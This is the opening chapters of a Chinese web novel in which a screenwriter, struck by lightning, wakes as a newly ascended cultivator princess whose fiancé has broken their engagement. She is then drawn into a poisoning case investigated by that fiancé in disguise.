《前未婚夫说他梦见了我》 1. 穿越 《前未婚夫说他梦见了我》全本免费阅读 一道闪电划过天空,沉闷的雷声紧随其后,路上行人纷纷加快了脚步,车辆鸣笛的声音此起彼伏。 街边,一个小男孩儿正伸手想要接过小贩手中的气球,却被身旁的父亲一把拉起来往街对面的小区跑去。而那个弯下腰递送气球的小贩只能低声咒骂这不遵守天气预报的雷云毁了他周末的买卖。 正准备收回气球的小贩被身后突然跑过的几个学生撞了一个趔趄,手一松气球就飞了出去,他跳着脚够了两下没有抓到,只能眼巴巴看着那小黄鸭外形的气球越飞越高,飘飘悠悠的挂在了道旁电线的杆顶端。 电线杆旁边的住宅楼里,苏晴云正倚在楼道窗边听着耳机里呱噪的话语,右手拇指下意识摩挲着食指指腹、排解内心的烦躁。 这时,一个气球飞入了她的视野。她记得自己小时候也有过这样一个气球的,那时候的她还不明白独自抚养自己的奶奶有多艰难,总是缠着奶奶买东西,后来那个气球去哪儿了呢? 想起奶奶令她意识到自己此刻的心情已经接近冰点。照往常,她该包两碗荠菜馅儿馄饨,然后边吃边跟奶奶说说心事,而现在,只有窗台上那个躺在塑料袋里的手抓饼残片——她吃了一半的午餐——已凉透。 瞥了眼手机屏幕上的通话时间,她觉得二十三分四十七秒已经足够表现自己对对方的尊重了,“许老师,”必须尽快终止这不愉快的通话,“如果我没记错的话,咱们这部剧的女主角是一位现代独立女性。” “是啊。”手机另一端的男人用油腻的声音做出了肯定的答复,但继续开口说出的剧情还是跟独立女性四个字毫不沾边。 这一次苏晴云直接打断了他,“您觉得一个月薪上万的独立女性会爱一个经常劈腿的无业游民吗?” “男主角是为了在家照顾卧床的母亲才没有工作嘛,孝顺是美德啊。” “孝顺确实是美德,可他在跟女主交往期间一再劈腿,这也是美德吗?” “原谅男主的过错可以彰显女性的包容,这部分设定是展现女主的美德啊。” “为什么男主的美德是孝顺,女主的美德却是原谅男性劈腿?为什么不能设定女主照顾卧病在床的母亲,让她展现孝顺的美德呢?” “让女主去照顾男主的母亲……可以!这主意不错!” 苏晴云被对方真心喜悦的语气给说蒙了,全靠窗外的一声闷雷才拉回了神智,“我说的是女主自己的母亲啊!她照顾男朋友母亲干吗?!” “照顾未来婆婆也是尽孝啊,还能加婆媳对手戏,多好啊!这才有戏啊!” “那不就变成家庭伦理剧了?女主不工作就没有事业线了啊。” “女主为什么不工作?照顾婆婆也得上班啊,她是独立女性啊!” 听到对方如此理直气壮,苏晴云忍不住气笑了,“所以女主不但要挣钱养家还要照顾未来的婆婆,”也是,这样男主才有时间去劈腿么,“然后女主还要原谅男主劈腿、体现包容。” 这人设真特么绝了! 她很想骂人,但一个专业的编剧要尽量避免与制片人冲突,索性上天眷顾——暴雨就在这时候落了下来,一时间风声、雨声、雷电声不绝于耳。 她抓准时机断开耳机,将手机慢慢举向窗外,并在过程中保持自己的说话声音渐弱:“什么?您说什么?许老师、许老师,您还在吗?喂?喂?” 最后,她伴着一声惊雷挂断了电话,然后拿起窗台上的手抓饼狠狠啃了一口,大步往回走。 对她而言此刻最重要的是写完手头上的五集剧本,那才是定金已经到账的靠谱儿项目!至于这位许老师,整天找她改大纲、调人设,就是不给钱,这种人还是哪儿凉快哪儿去吧。 她节约时间、边走边吃,还没吃完就听见了门里传出来的吵架声: “那是个虚拟角色!虚拟角色懂不懂?不是真人!” “不是真人怎么了?现在AI发展速度这么快,搞不好哪天就能跟人谈恋爱了!” “我天啊!那你没追男明星啊?你能跟人家谈恋爱吗?” “跟明星谈恋爱是那么容易的吗?哪儿像你手机连个网就谈了啊?” “我谈什么啦?!天呐!我怎么就跟你说不通呢?” “好啊,黎大头!跟AI聊几次天儿就觉得我不通情理、无理取闹了是不是?你还说你不会跟AI谈恋爱!” 苏晴云忍不住单手扶额,差点儿把屋里这两尊大佛给忘了…… 这两位一个叫覃小月,是她的发小兼闺蜜;一个叫黎晟,是她大学的好哥们儿。因为是人生中唯二的两个朋友,于是她心血来潮让两人认识了一下,结果两人超出了她想象的投缘——结婚了。 如今她就想问:只做朋友不好吗,结婚干吗?结就结吧,吵架干吗?吵就吵吧,来我家干吗?! 如果不是未完稿的五集剧本在催促,她真想掉头下楼去看雨!可人生如戏,剧本已定,她的命就是今晚得交稿…… 有什么理由能顺理成章的把两个最好的朋友赶到暴风雨里去?在线等,挺急的! 就在苏晴云抬起沉重的手臂准备推门的时候,里面的声音突然开始变味儿。熟悉的中华民族通用语突然消失不见,取而代之的是啪的一声,然后又是砰的一声。 她还没反应过来那都是些什么声音,就听见熟悉的中华民族通用语再次出现: “就你会摔啊!” 草(一种植物)! 苏晴云一把推开门高声大喝:“这里是我家!” 门内的两个人显然都被她这一喝惊住了,扭头看向门口的脸上是同样的震惊,显然早就忘了自己是在别人家的。 而两人身后,一个15寸长方形物体正在空中划出一道漂亮的抛物线向着窗口飞去,划过天空的闪电将那物体表面的银灰色金属光泽外壳照得发亮。 根据苏晴云有限的物理学知识,那件物体应该有百分之百的几率会落到窗外! “我的笔记本!!!” 窗前的两人猛然意识到他们刚刚扔了什么,一齐扑向窗口伸出所有手臂,然而四只手也没能挽回那存着五集大纲半成品的笔记本电脑。当苏晴云冲到窗前探头去看的时候,笔记本电脑已经落在了楼前一棵槐树上,被两根树枝托着、在风雨中颤颤巍巍。 根据她有限的物理学知识,在阵风七级的环境下,那两根小树枝是无法持久托住一件五斤多重的长方体的——得赶紧! 覃小月愣愣地看着苏晴沄转身冲出门口,对身边人道:“她没拿伞。” 黎晟道:“拿伞怎么爬树?” “爬树?”覃小月震惊脸,“她穿的可是裙子啊!”然后她接收到黎晟的一记白眼,有些心虚地看了眼窗外那个躺在树枝上摇摇晃晃的笔记本电脑,“你说……她会不会跟咱们绝交?” 黎晟淡淡道:“第一,扔笔记本的是你,绝交也是跟你绝交。第二,目前的情况绝交只是小问题,更严重的问题在于——高空坠物是要入刑的,万一笔记本在被她拿回来之前掉下去砸到路人……” 覃小月瞳孔地震,立刻向窗外探出半个身子,对刚冲出楼门的苏晴云高喊:“晴云加油!一定要拿回笔记本哟!” 而此时的苏晴云根本听不见覃 2. 出关 《前未婚夫说他梦见了我》全本免费阅读 她穿越了! 大脑跳出这个结论的第一时间,苏晴云狠狠掐了一下自己的大腿,在感受到疼痛之后跌坐回玉榻中抱着玻璃剑、两眼发直。 渐渐的,她从那些铺天盖地涌入脑海的画面中提取出了最重要信息: 一、这是一个修仙世界,修炼从低到高分五个境界:炼气、筑基、金丹、元婴、化神; 二、这个世界被东、西、南、北四方势力分割,东景国、西穹山、南佛国、北凌国,其中又以景国和穹山的势力最大; 三、当今世上最不能招惹的是七位化神强者:穹山掌门西九岭、剑圣壬无情、穹山长老玉玦、画圣文洛川、空寂寺方丈了空、琼岛渔翁沣泧和冰帝姬霜; 四、此地是一间设有隔绝法阵的修炼室,她穿成的这个身份叫苏晴沄,名字跟自己只差了一个字,正在闭关冲击化神,并在她穿过来的一刻获得了成功,成为了当世第八位化神强者。 不光个人实力强,这位苏晴沄的家庭实力更是举世无双。景国国君是她亲爹,画圣是她舅爷,穹山掌门是她未婚夫,家庭战斗力天下第一! 又一次看向手中的玻璃剑,剑身表面映出的还是那张华丽而陌生的脸,她真的变成了另一个人? 想着,她把玻璃剑放到远些的地方,然后从苏晴沄的记忆中找出召唤的方法尝试,结果玻璃剑立刻飞到了她的手中。 根据得到的记忆,这玻璃剑名为琉光,是苏晴沄的灵剑,而苏晴沄已经达到了人剑合一的境界,也就是说苏晴沄能够与这柄剑意识想通,而这剑也只认苏晴沄一人。 那为什么她可以用?人剑合一的剑也会认错人吗? 仔细想想,她被雷劈过来的时候苏晴沄正在接天雷渡劫,而她取而代之后就成功步入了化神……天道也认为她是苏晴沄?! 可如果她是苏晴沄,那过往三十年的经历是谁的?那些喜怒哀乐又是谁的?难道只是苏晴沄的一个梦? 庄周一梦,究竟谁是蝴蝶,谁是庄周?! 不,她怎么可能只是个梦,她一定是真实存在的,对不对?一定有什么……是的,一定有什么能够证明她是存在的! 想到这里,她猛地从玉榻上弹起来开始地毯式搜索。经过半天的努力,终于从玉榻下面的缝隙里掏出了一个皱巴巴的劣质塑料袋,那里面装着的正是她在楼道里吃得只剩一口的手抓饼。 她瞬间双眼放光,欣喜若狂地举起那块干瘪的毫无生气的手抓饼高声欢呼:“果然是真的,是真的!我就知道!我就知道……” 喊着,喊着,她突然变得僵硬,然后深深弯下了腰,抱着那块可怜巴巴的手抓饼蹲在地上放声大哭。 回不去了,再也回不去了……那个充满遗憾又无比美丽的世界,那片曾经理所应当如今却恍如隔世的故土,回不去了…… 不知哭了多久,她只觉得眼睛发涩、再也哭不动了,便晃晃悠悠地从地上爬起来,看了眼手中那块又冷又硬的手抓饼,然后深吸口气、狠狠地吞了下去。 人生如戏,剧本已定。不就是穿越吗,谁怕谁啊?从今天起,她就是景国公主苏晴沄! 坐回玉榻,她第三次看向了手中的玻璃剑。 剑身上面映出的面容也就二十出头,可根据记忆,这身体已经活过了二百六十个年头,这算是修仙的好处吗?细看之下,这华丽的容颜也顺眼了许多。或许是因为那双干净的眼睛,即便上挑的眼尾略显高傲,但瞳仁却黑得清明。嘴唇虽薄却并不寡淡,清晰的眉峰不够柔美,却正合她的胃口。 这是她如今的脸,有什么可挑剔的呢? 当情绪稳定下来,思路也渐渐清晰。 既然让她多活一世,那就不能浪费老天爷的好意,更何况这人设简直就是起手双王四个二,没理由不叫牌好吗!整片大□□分之三是自家和未婚夫的地盘儿,八分之三的化神是自己人,有权、有地、有实力,这样的人生砸下来,不接白不接啊! 唯一的美中不足就是得结婚。 记忆告诉她,苏晴沄曾立誓不化神不完婚,所以订婚两百年了还没完婚,而她一来就化神了……哎! 这婚事还是苏晴沄自己提出来的,记忆中她在云河岸边远远望见西九岭挥剑的身影,为其气势所倾倒,从此非君不嫁。 可她使劲找了半天也没能在记忆中翻出西九岭的样貌,这种连高矮胖瘦都不知道就能一见钟情的思路她是不太理解的,但景国会去提亲、穹山能够同意,在她看来应该是出于形势考虑的政治联姻。 既然借了人家的身份那肯定要对人家感恩,这公主的责任也必须履行。还有双亲和舅爷,她也是要孝顺的。 当然,一切的前提是她没把戏演砸。 这个修仙世界除了正道之外还有魔道,而正魔双方势不两立,如果被人怀疑自己是夺舍的魔修可就死定了。 还好这位苏晴沄除了喜欢华丽的东西似乎没什么特别的嗜好,而且因为性情高傲又是个修炼狂人,所以一生没朋友。素未谋面的未婚夫不用担心,一年到头云游四海的画圣舅爷也对她不熟。 最后就剩下做父母的景王夫妇、照顾公主的嬷嬷和宫女、教导文史艺术的各种老师……总之,这世上最了解苏晴沄的人都在皇宫里。 所以说,当前最要紧的是——想办法离开皇宫! 打定主意,苏晴沄拿起琉光剑走到门前,在记忆中搜索了一下公主平日里对周遭人的态度,然后抬起手向着那密室的门轻轻推去。 门打开的一瞬,她感觉到某种屏障的消失,然后瞬间找到了跟这个世界的链接,一种突兀的感知落在心头,同时脑海中跳出了一句话:天下修士,化神为尊,极道有数,逢九必陨。 什么意思? “恭迎殿下化神出关!”“恭迎殿下化神出关!”“恭迎殿下化神出关!” 苏晴沄还没搞明白自己感知到的是什么,就被震天的呼声吓了一跳。 抬眼看去,才发现修炼室外面是一座红墙碧瓦的皇家庭院,而这修炼室设在某个殿宇里,此刻殿宇外的玉石阶下彩旗列列迎风舞,红毯十里望不到头,乌压压的人头一排接着一排,俯首叩拜的人一直延伸到宫门外,闭上眼以化神之力感知,可以发现整个元城的街道都跪满了人。那高昂的呼声中透出的崇拜与喜悦让她清晰的感受到这些人是在真心迎接她,迎接景国的一位化神公主! 那一刻,她立于玉阶之上俯视众生,苍天之下、苍生之上,俾睨天下的感觉交织着前所未有的孤独与莫名的沉重,令她一时之间忘记了要做什么反应。 接着,她看到了身边站着的景王夫妇。 两人穿着华贵的礼服,脸上都毫不掩饰的骄傲,仿佛在说:看,我闺女化神了!我闺女最棒!我闺女天下第一! 僵硬的嘴角微微一抽,苏晴沄默默转回头看向前方,父母早亡、从小被奶奶带大的她其实不太清楚如何跟父母相处。 人群短短的三叩,对她而言却仿佛一个世纪般漫长,这场面实在是有悖于她的社会主义核心价值观,她不知道该说什么,也不想说什么,只希望能够快些结束。 好在典礼不长,在礼官的主持下所有人都站起了身,令她自在不少。 然后她就看到了这些人眼中的崇拜,仿佛她就是这个国家的救世主,只要一句话这些人就能为她去死。 她原本还有一点私心,想着能不能利用景王夫妇对女儿的溺爱退掉与穹山的亲事。可如今看到这些人,她突然明白了欲戴王冠必承其重的根由——你无法背叛这些人、无法抛弃这些人,无法为了一己私利将这些人推到战争的边缘,这是一个上位者起码的良心! 她深深地吸了口气,不就是政治联姻吗?做个样子给天下人看而已,结就结吧! 然后礼官走到玉阶前,向上施礼道:“穹山不义悔婚,臣等愿请命出战,誓为公主讨回公道!” ??? 阶下一片山呼:“讨回公道!讨回公道!” 阶上苏晴沄一脸懵比,演员刚做完心理建设,剧本就改了? 一旁的景王夫妇怕女儿受打击,走到近前一左一右牵起她的手。王后才愤然道:“那西九岭表面正人君子,实则反复小人!吾儿为他苦修化神,他却突然要入什么无情道,派人来将婚事退了,此等背信弃义之人不配做吾儿的道侣!” 真的退婚了?苏晴沄感觉自己有点儿飘。 景王义愤填膺道:“屁的无情道!他大闹婚礼、从画屏山下将人抢走,那么多赴宴宾客都看到了,让我们沄儿的脸往哪儿搁?!” 握草!抢亲这么劲爆的吗? 王后道:“抢亲也罢了,抢的还是个男人,吾儿还不如个男人吗?!” 握草!出柜这么劲爆的吗! 景王道:“哼!那齐鹤扬不过一个小小金丹,如何能与吾儿相比?他西九岭道貌岸然这些年,却连子侄都不放过,分明衣冠禽兽!” 握草!乱|伦这么劲爆的吗!!! 王后越说越气,“穹山不要脸,画屏山不敢说话,我景国却不是好惹的!” 景王妇唱夫随:“不错!画屏山能忍,景国却不能忍!”他拉起女儿向前一步,大手朝阶下一挥,“父王这就率军亲征,为吾儿讨回公道!” 等等!怎么说着说着就要开战了,只聊八卦不香吗?哦,对,那个乱|伦出柜当众抢亲的男人是她未婚夫来着…… 她是不是也该生个气?可是听说不用结婚了好开心怎么办?没笑出来全靠耸人听闻的八卦消息,现在八卦没了,喜悦之情快要压不住了!冷静,冷静,原计划是什么来着…… “父王!母后!”苏晴沄一手一个将二人拉住,“不能开战!” “吾儿无需担忧,就算你化神不成我们也是准备开战的,今日这本就是出征前的誓师大会,谁知你竟在此时化神出关了,哈哈哈哈!”景王大笑,“如今咱们景国两个化神,那穹山也是两个化神,怕他作甚!” 苏晴沄质疑道:“女儿记得穹山是三位化神吧?”掌门西九岭、剑圣壬无情,还有个玉玦,难道记忆有误? 景王道:“一入深渊,终身不出,那玉玦在与不在有何区别?” 这么一说苏晴沄也想起似乎有关于深渊的记忆,只是时间有限,那些不要紧的记忆她还没捋。如今提起来,这深渊是什么来着…… 不及细想,就听王后问道:“沄儿莫不是还对那西九岭有情?” 苏晴沄急忙摇头,将深渊的事情暂且放到一边,先应付眼前的局面要紧,“孩儿此番渡过天劫、已历生死,凡俗之事不再关心。” 完了,王后这眼神明显不信啊。该怎么说才能阻止发兵?她不要一来就打仗啊!“上兵伐谋,中兵伐交,下兵伐城,就算要向穹山讨回公道,咱们也该从长计议才是。” 完了,完了,她都说了些啥?绝世高手的人设应该撸袖子直接干吧?公主好像也不是这种性格来着,是不是要穿帮了?原计划,原计划是什么来着?! 就在她脑袋里一团浆糊的时候,身边的景王夫妇突地潸然泪下,“吾儿果然化神登峰,竟有如此胸怀了。” 玉阶下 3. 济水初遇 《前未婚夫说他梦见了我》全本免费阅读 碧玉坠丝带,翠鸟鸣枝头,暖鸭游水戏鱼跃,一城春色一城鲜。 灰白砖瓦朴素而平静,穿城的河水波光粼粼,石桥三三两两、篷船两两三三,男人在酒肆中侃天吹牛,女人在翠柳旁笑语嫣然,玩耍的孩童叫嚷着追逐,懒散的猫儿在街边晒着太阳。 这里是苏晴沄选择开始旅途的第一站——济水。 它不是任何一国的都城,也没有什么名胜古迹,作为一座穹山边境的普通城镇,这里有贸易但不发达,有风景但不绝佳。会让她选择这里的原因只有一个——穹山界碑。 云河从南至北将中央大陆东西分隔,东边是景国领土,西边是穹山辖地。济水城紧邻云河,穿城而过的河水便是云河的一条分支——济水,而当年西九岭挥剑刻下的界碑就在城东五里的云河岸边。 出于编剧的职业本能,苏晴沄对景公主当年的一见钟情十分好奇,是怎样的一剑才能令人心生爱慕? 据说那界碑上留下了西九岭的剑意,威压之气令人无法靠近三丈以内,所以她离开皇城后第一时间去看了那座界碑,希望能从剑意中窥见景公主当年的感觉。 说是碑,其实也就是块两人多高的大石头,只不过当年西九岭在上面刻下了“穹山界”三个字,之后就被人称作了穹山界碑。 界碑四周无人把守,但围观的人都站在三丈以外。有些是来参详剑意的修士,但更多的是将一剑成碑的故事当作谈资跟人吹嘘的本地人。 苏晴沄看出了碑上的剑意,却体会不到景公主的感觉。不知是因为此时的她已经化神而当年的景公主只有筑基,还是因为时间这把杀猪刀消磨了碑上的剑意,总之她没有感到一丝震撼,而且还觉得最下面那个“界”字刻的有点儿歪。 后来她找到机会偷偷把脚尖蹭进了界碑三丈以内,果然化神之躯并未感受到太多阻力。 于是她得出了结论:筑基期的景公主就像是没步入社会的女学生,看到化神大佬就如同看到事业有成的大叔,以为其无所不能,故而产生盲目崇拜。 看完界碑,她便闲逛着进了济水城。熟悉这个世界最好的办法就是走进这里人的生活,所以她觉得从一座平凡的小城开始旅途很不错。 倚着石桥看流水,苏晴沄渐渐就有些出神,常年熬夜的编剧狗久违的开始了发呆,一会儿猜测鸭子游水的方向,一会儿琢磨这河水究竟该算绿色还是蓝色。 就在她慢悠悠挥霍化神寿数的时候,一个叫卖声吸引了她的注意。 “神仙画像!神仙画像!天下最美的十位神仙,第一名穹山掌门西九岭,走过路过不要错过!” 西九岭?最美神仙第一名? 她扭头看向桥下,一个小贩正在画摊儿前举着几张画像吆喝。想着记忆中那个不知高矮胖瘦的身影,她走过去从小贩手中拿了西九岭的画像。 只见上面一位白衣修士执剑而立、长身如玉、十指如葱,长眉入鬓似远黛、目光盈盈若秋水,双颊似桃花白里透红,唇瓣如樱桃小小一点。 握草!这确定是穹山掌门不是林黛玉?这能甩各大台当家花旦十条街啊! “你这瞎画的吧?”苏晴沄当即提出了质疑,“穹山掌门已经三百岁了,画上的少年也就十七、八,而且这画的比女人还漂亮,是不是太夸张了?” 小贩听了一脸的不乐意,看她的眼神就像看个土包子,“姑娘,不懂就别瞎说。咱们穹山掌门是神仙,知道吗?神仙是不会老的,别说三百岁了,就是三千岁照样细皮嫩肉!而且我告诉你,这越厉害的神仙越漂亮,咱们穹山掌门天下第一,自然是最漂亮的!” 苏晴沄被他掷地有声的一番言论说的有些迟疑,毕竟这里是穹山地界,会流传掌门的画像也不稀奇。而且她突然想起来,西九岭是个断袖,长相阴柔似乎也说得过去。这么说来,那个叫齐鹤扬的“嫩草”应该是年下攻…… 正在神游,手中的画像被人抽走了。 她扭头看去,发现身旁不知何时站了个男子,一身青衣宛如劲竹挺拔,木簪束发更显干净利落,傲然苍劲的眉峰下一双沉静无波的眼,抽走画像的手如大理石雕像般光洁美丽、十指修长。 骂人的话生生咽了回去,人家养了你的眼,你就不好意思脏了人家的耳朵,对不?可就是这样养眼的一个男人,说出来的话却险些让她惊掉了下巴。 “这画像有多少,我都要了。” 不是吧?好好的帅哥何必要走弯路呢? 惊愕中,苏晴沄就见小贩向自己丢来一个得意洋洋的眼神,仿佛在说:看人家多有眼光。 她撇了撇嘴。行,你家掌门最合男人胃口!腹诽完,摸了摸自己的胃。就让男人去填男人的胃口吧,美食交给她来! 画摊儿前的西九岭并没有太过在意女人的离开,此时的他只在意那画像上自己的模样——绝对不能流传出去! 当小贩将一摞尺余厚的画像递到他面前时,他只觉得脊背发寒,反复确认小贩刚刚出摊儿且没有更多西九岭的画像之后才付账离开。 然后他快步走入一条无人小巷,用火焰之术焚烧了所有画像,再用传讯符通知廖辰去提点一下这个画师,以后别再画西九岭了。 搁在年轻的时候,他肯定会自己去将那画师戏弄一番,可现在的他有更重要的事情…… 或许是初春开集的缘故,就连济水这样的小城也是热闹非凡。街上行人川流不息,各色商铺迎来送往,就连路边的小摊也是客人不断。 西九岭闭上眼,小贩的叫卖声、客人的还价声、行人的谈话声、孩童的嬉笑声,诸多声音渐渐交织混杂起来、模糊不清,而在这一片嘈杂中隐隐还有什么声音贯穿始终、细碎而轻柔,就跟他在梦中听到的一样……究竟是什么? 猛地,他张开眼看向不远处的石桥,济水河正从那桥下缓缓流过、贯穿全城。梦中的声音应该就在这里! 可那白花花的一片又是什么?柳絮?布匹?白银?瓷器? 正想着,远处突然传来惊叫:“死人啦!死人啦!” 他顺着声音看去,就见临街的一家酒肆中嘈杂一片,里面的人往外跑,外面的人往前聚,最终在不断冲撞和推搡中形成了一个包围圈,将酒肆围了起来。 酒肆靠墙的座位上,苏晴沄一脸懵比。 什么情况?吃个饭的功夫隔壁桌就死了?还有,眼前这两个又是什么鬼??? 桌子左侧,酒肆老板高举算盘当大刀,手抖得算盘珠子响个不停。桌子右侧,店小二竖起餐盘作盾牌,腿抖得好似脚下踩着个热锅。两人明显怕得要命,却还要故作镇定地放狠话。 “你老实点儿,衙门的人马上就到了!” “对、对!别想逃跑!” “我们都看见了,就是你杀了他。我、我跟你说,你得赔、赔偿!那些跑了的客人,酒钱都得你付!” “还有桌椅。” “对!还有坏了的桌椅!” 听了两人的话,苏晴沄险些忍不住拔剑,这是讹上她了!“你们哪只眼睛看见我杀人了?那人死前分明是在吃面!你们饭菜有问题却栽赃我杀人,还有没有王法了?” 老板一愣,“王法?穹山地界没有王法。” 苏晴沄也是一愣,忘了穹山这边不是王权了。 在景国,君主制定法律,修士和凡人都要遵循。而在这里,凡人有专门的民法,修士则需要同时遵守民法和穹山门规,因此限制很多。比如修士不能在城镇五里范围内御剑、不能在公共场合私斗、不能对凡人使用法术等等,这也是她没有直接御剑飞走的原因。 至于死人这种事,只要不涉及修士就由普通衙门处理,而一旦涉及修士就要惊动穹山派驻当地的监管。 就在她犹豫着要不要说出自己修士身份的时候,围观人群忽然向两边分开,几个佩刀的官差走了进来。 老板和小二就像看见了救星一样冲了上去,一通作揖行礼,“老爷!老爷!你们可算来了!” “人呢?” “在这儿!”有了靠山,酒肆老板的手立刻不抖了,指着苏晴沄气势如虹,“咱们一直看着她,就等老爷您来呢!” 带头的官差眉头一皱,“不是说死人了吗?” 问话的同时,他已经看到了苏晴沄旁边的惨状。四分五裂的桌子散在地上,打翻的碗碟碎了一地,菜汤中间一具扭曲的尸体,面孔乌七八糟的尽是黑斑,裸露在外的皮肤裂开一条条口子,从里面流出的黑色血液淅淅沥沥淌了一地,泛起的腥臭味令人作呕。 带头官差领着人径直走了过去,看过尸体后下令仵作查验,然后起身向老板和小二问询经过。 “哎哟!死的时候可吓人了,那叫声啊,就像、就像……”老板一边回忆一边措辞,“野兽!对,就是野兽!他要不叫我还没留意,好好个人突然就浑身裂口子,黑血流一地,太惨了、太惨了。” “我倒是发现他不对劲了。”小二回忆,“那会儿我刚给里边的客人上完菜,扭头就见这客人站了起来。起初我还当他是想加菜什么的,可往前走了两步就见他突然弓起了身子,然后猛地砸了下桌子。哎呀妈呀!我第一次见人有这么大力气,整张桌子一拳就砸烂了。砸完桌子那人就开始裂口子,还流黑血,这、这么黑,肯定是中毒了吧?” “对!肯定是中毒了!”老板再次指向苏晴沄,“就是这个女人下的毒!那客人进来后什么都没做,就是调戏了一下这女人,然后这女人就用剑柄打了他一下,不久后那客人就死了,肯定是被这女人下毒了!” “剑柄打一下就能下毒?”苏晴沄总算明白自己被怀疑的原因了,“那他还吃了半碗面呢,我就觉得是你们在面里下了毒。” “我们跟他无冤无仇,为何下毒?” “我能用剑打他,为何下毒?” “你被他调戏怀恨在心,要置他于死地!” “他都没碰到我,我干吗要置他于死地?” “你、你、你天性恶毒呗!” “那你也可以天性恶毒,看到陌生人不顺眼就下药害他啊。”苏晴沄眉毛一挑,“再说了,跟死者无冤无仇只不过是你一面之词,说不定他欠过你账或者调戏过你老婆,你常年在此苦心经营就是为了研究一种无色无味的毒药弄死他呢?” “你!”酒肆老板简直不敢相信竟然有人能胡说八道至此。 “我怎么了?我一个景国来的,人生地不熟,在这里杀人不是给自己找麻烦吗?” “我!” “你什么你?官差大哥还没开始查案,你就急不可耐的把罪名往我身上扣,不是找替罪羊是什么?难道是觉得自己推理能力比官差大哥厉害,想替衙门断案?” 老板只觉得自己一口气险些提不上来,用手在胸口上猛顺了几把,旁边的小二赶紧倒了杯水给他。 苏晴沄也拿起桌上的茶碗啜了一口,跟编剧斗嘴,你还差得远! 带头官差眼神微暗。听两边吵过之后他觉得案情更加扑朔迷离了,但当前最要紧的是这姑娘景国人的身份,想让她配合调查还得先走涉外程序。 就在他思考如何解决外交问题 4. 一起查案 《前未婚夫说他梦见了我》全本免费阅读 西九岭在收起令牌后的第一时间便转回了身,他想知道那位景国女修看到穹山令牌后的反应。 对方也确实没有令他失望——表情很生动,只是那反应实在是令他费解。在他的人生中也做出过类似的反应,那是当年第一次下山在凡人城镇中看到话本子的时候,当时他心里想:靠!还能这样?! 此时苏晴沄正在心中暗骂:靠!还能这样?! 她简直有种跑回皇宫闭关躺平的冲动,旅个行这么难的吗?吃饭碰上死人还被当成嫌疑犯已经够倒霉了,结果审案的还是抢走她未婚夫的野男人,这是有多背?能让天下第一仙门掌门出柜的男人能是省油的灯吗? 后续剧情瞬间在她脑内展开:心狠手辣男小三陷害正牌未婚妻是夺舍魔修,假装被未婚妻打伤后嘤嘤嘤,成功获得霸总的信任与怜爱,召集天下仙门绞杀未婚妻,未婚妻含冤死去,男小三顺利上位,全剧终。 绝对不能暴露自己景公主的身份! “弟、弟、弟、弟子睿秀峰李琦,已在穹山修炼六十余载,金丹初期修为,上月到此接替林师叔成为济水监管,”监管修士此刻还没敢将头抬起来,没看见两人之间的暗流涌动,自顾自地说了起来,“不知掌、呃,齐师兄驾临,未能远迎……” 西九岭连忙摆手打断他,“无须多礼,我不过巡查而已,你照常办公便是。”睿秀峰主修丹道,鲜少独自下山任务,这是多不招人待见才被派到济水做监管的? 苏晴沄则瞪大了眼睛,险些把下巴掉在地上。听听,听听!简直跟向长官汇报一样,这齐鹤扬在穹山的地位可真是不一般啊! “是,是,”李琦连忙应是,擦了擦额头的汗才看向苏晴沄,“敢问这位是?” 呃……我是你“齐师兄”相好的前未婚妻……说实话是绝对不行的! 苏晴沄正想把便宜爹为她准备的假身份亮出来,就听旁边那个“齐鹤扬”开口道:“这女修自称景国人,与死者发生过肢体冲突。” “喂!你说清楚些。”苏晴沄决定先纠正这个“齐鹤扬”的以偏概全,“确切的说,死者坐在我邻桌,吃半截饭突然起身说“姑娘的手不错”,然后就伸手过来,被我用剑柄敲了下手腕后知难而退坐回去了,所谓的肢体冲突仅此而已。还有,这人是误食玉草引发了体内魔气暴动而亡的,玉草是店家放在面里的。” 李琦扭头看向自家掌门,这姑娘说人不是她杀的…… 西九岭只是微笑,“该怎么办案就怎么办案,我只是巡查而已。” 李琦随手抹了把额头的细汗,转身去跟仵作核实死因,然后向那先到的凡人官差问询了情况,又找掌柜和小二做了问话,圆滚滚的身体在房间里挪来挪去,一圈下来头上的汗更多了。 直到将整个案情问询清楚之后,他才又转回来向苏晴沄道:“敢问这位道友……” “我叫酒夕。”苏晴沄已经等了半天,此时便直接将便宜爹为她准备的信物递了过去,“来这边是为我家老爷办差的。” “你家老爷是……”李琦边说边接过了那个刻着“酒夕”二字的小葫芦,然后就感觉手心一烫,葫芦上浮出的强大灵力险些令他脱手。他连忙运起灵气、握紧葫芦,面色严肃转动葫芦,果然在底部看见了一个“文”字。 仙门中人都知道,画圣文洛川毕生只有两个爱好——画和酒,他的信物便是酒葫芦,这葫芦虽然非金非玉、只有半个掌心大小,可上面蕴含的灵气绝对没法造假。 一滴汗从额头滑到了李琦的睫毛上,他眨了眨圆圆的小眼睛,又抬手抹了一把,这才觉得视线恢复了清晰。没想到来济水办的第一件案子就牵扯两个大佬,掌门他肯定不能忤逆,可画圣的人他也得罪不起啊。 二十年前梅山金长老的教训可是在修士间广为流传的,连他这个整日摆弄药草的闷葫芦都知道金长老只是抽了给画圣送菜的车夫一鞭子,结果就被画圣当街一鞭直接抽跌了一个小境界。 哎,出门前杜师兄给他卜的那卦还真准,他这个济水监管可真是点儿背的很啊! 西九岭见这小弟子一个劲儿地擦汗,索性从他手中拿过葫芦看了一眼,心中叹着真是事情越急麻烦越多,面上却不着痕迹地转向苏晴沄问道:“不知道友是画圣的家人还是从人?”说着将葫芦递了回去。 苏晴沄听他问话唇角微微扬起一个弧度,接过葫芦道:“道友玩笑了,老爷的家人就那几位,谁用得上这葫芦啊?在下不过是老爷的侍女,”说到这里她看着“齐鹤扬”停顿片刻,“不过我家老爷交代过,在外面不能让人欺负了,否则回去是要领罚的。” 呵呵,西九岭礼貌微笑。天下仙门都知道画圣世间第一护犊子,你不用委婉的威胁我。 不过画圣出名的脾气不止护犊子一个,其中最怪的一个应该是——不用传讯符。理由是作画需要回归自然、回归原始,传讯符这种便捷的修士用品有悖于他的画道。因此联系画圣只能使用凡人书信,个把月也未必能得到回复,所以画圣侍女这个身份其实具有天然的造假优势…… 当然,葫芦上确实存有化神强者的灵气。但如今他知道化神已经满九,也就是说魔修中存在一位化神强者。修士或许不敢假冒画圣身份,但魔修会在乎吗? 他盯着女修的眼睛道:“如果我没记错,画圣身边只有一个侍从,是个男的,叫酒晨。” 苏晴沄心头一跳,“你见过我家老爷?” 西九岭干咳一声,“掌门师叔十年前曾与画圣见过一面,我是听他说的。” 